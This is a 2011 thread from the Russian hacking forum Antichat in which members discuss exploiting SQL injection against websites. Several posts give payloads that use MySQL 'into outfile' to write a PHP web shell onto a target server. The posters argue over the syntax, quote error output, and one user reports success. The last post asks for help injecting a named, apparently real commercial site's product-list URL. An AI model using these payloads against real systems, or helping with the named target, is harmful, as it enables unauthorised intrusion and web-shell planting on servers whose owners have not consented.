HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #18981  
Старый 23.12.2011, 17:46
snet
Guest
Сообщений: n/a
Провел на форуме:
14597

Репутация: 0
По умолчанию

Цитата:
Сообщение от None  
Only schema showing, why?
no information.schema, information_schema must.

sorry for my english
 
Ответить с цитированием

  #18982  
Старый 23.12.2011, 18:00
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756

Репутация: 0
По умолчанию

Цитата:
Сообщение от None  
через еррор-бейсед нельзя залить шелл
Вы наверное сейчас опять скажете что я не понял поста, ну да бог с ним

Ерор бейс это просто название, причём не самой скули, а варианта её эксплуатации .

А шелл залить можно везде где есть возможность сделать подзапрос (и даже без него). Просто навороты лишние ни к чему в запросе.

snet

Цитата:
Сообщение от None  
1 and (select 1 into outfile '/путь/шелл.php' lines terminated by "")--
 
Ответить с цитированием

  #18983  
Старый 23.12.2011, 18:03
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Цитата:
Сообщение от KolosJey  
KolosJey said:
Вы наверное сейчас опять скажете что я не понял поста, ну да бог с ним
Ерор бейс это просто название, причём не самой скули, а варианта её эксплуатации .
А шелл залить можно везде где есть возможность сделать подзапрос (и даже без него). Просто навороты лишние ни к чему в запросе.
snet
Код:
Code:
select user from mysql.user where 1 and (select 1 into outfile '/tmp/test.txt' lines terminated by "")--+
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/tmp/test.txt' lines terminated by "")--' at line 1

Не вводи в заблуждение пользователей, и прежде чем ответить на вопрос, будь добр протестируй это где-нибудь.
 
Ответить с цитированием

  #18984  
Старый 23.12.2011, 18:08
KolosJey
Новичок
Регистрация: 21.12.2009
Сообщений: 0
Провел на форуме:
15756

Репутация: 0
По умолчанию

Цитата:
Сообщение от Expl0ited  
Expl0ited said:
Код:
Code:
select user from mysql.user where 1 and (select 1 into outfile '/tmp/test.txt' lines terminated by "")--+
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile '/tmp/test.txt' lines terminated by "")--' at line 1
Не вводи в заблуждение пользователей, и прежде чем ответить на вопрос, будь добр протестируй это где-нибудь.
Ну если МОА не видит что ошибка СИНТАКСИСА, тут я бессилен

Запрос рабочий, если всё сделать правильно
 
Ответить с цитированием

  #18985  
Старый 23.12.2011, 18:09
snet
Guest
Сообщений: n/a
Провел на форуме:
14597

Репутация: 0
По умолчанию

Да все норм, вывела ошибка:

Код:
Code:
Can't create/write to file '/адрес/файл.php' (Errcode: 13)
Осталось найти папку где есть права.

Спасибо вам обоим.

lightangel, "Thank you" does not smudge on bread. Give me a plus for the reputation
 
Ответить с цитированием

  #18986  
Старый 23.12.2011, 18:11
lightangel
Guest
Сообщений: n/a
Провел на форуме:
35174

Репутация: -6
По умолчанию

Thank you Snet, worked properly.
 
Ответить с цитированием

  #18987  
Старый 23.12.2011, 18:21
Expl0ited
Guest
Сообщений: n/a
Провел на форуме:
262707

Репутация: 935
По умолчанию

Ух. В случае snet, всё элементарно, результат первого запроса, попадает во второй запрос, почему и невозможно раскрутить скуль обычным способом, и приходится использовать вывод в ошибке. Но для залития шелла, достаточно выполнить запрос:

SELECT column FROM table WHERE columns = false UNION SELECT 'test' INTO OUTFILE '/tmp/file.txt'

и при условии если директория доступна на запись для пользователя mysql, то первый запрос выполнится, файл успешно создастся.

Но в примере уважаемого пользователя KolosJey, ничего не получится, т.к. в данном подзапросе and (select 1 into outfile '/tmp/test.txt' lines terminated by "text") использование INTO OUTFILE нарушает синтаксис запроса, о чем и свидетельствует ошибка:

#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile

Ну если ОБЫЧНЫЕ ПОЛЬЗОВАТЕЛИ не научатся думать СВОЕЙ головой, тут я бессилен.
 
Ответить с цитированием

  #18988  
Старый 23.12.2011, 18:25
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
Провел на форуме:
4512

Репутация: 0
По умолчанию

Цитата:
Сообщение от KolosJey  
KolosJey said:
не самой скули, а варианта её эксплуатации.
Я бы даже сказал, варианта вывода на экран результата запроса. Если запрос направлен не на получение информации, а на внесение изменений (в файлы или базу), то без разницы, блайнд или нет.

Людям свойственно иногда ошибаться. Мы же не роботы.

"через еррор-бейсед нельзя залить шелл" (c) Expl0ited
 
Ответить с цитированием

  #18989  
Старый 23.12.2011, 18:32
snet
Guest
Сообщений: n/a
Провел на форуме:
14597

Репутация: 0
По умолчанию

Спасибо что так суетитесь из-за моей проблемы

Действительно, вы оба правы. Можно было обычным способом отправить запрос:

union select 1,2,3,4,"blabla" into outfile "/asd", .

это 3 часовое ковыряние через error_base мне запудрило всю голову и я, почему-то, ограничил себя только им.

Но и вариант который привел КолосДжей тоже сработал. Записал его в свой справочник. Очень познавательно.
 
Ответить с цитированием

  #18990  
Старый 23.12.2011, 20:09
lightangel
Guest
Сообщений: n/a
Провел на форуме:
35174

Репутация: -6
По умолчанию

Is there a way to inject this?

Код:
Code:
http://www.sheltonhitch.com/prodlist.asp?catId=1074%27%20having%201=1
Nothing is working for me.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ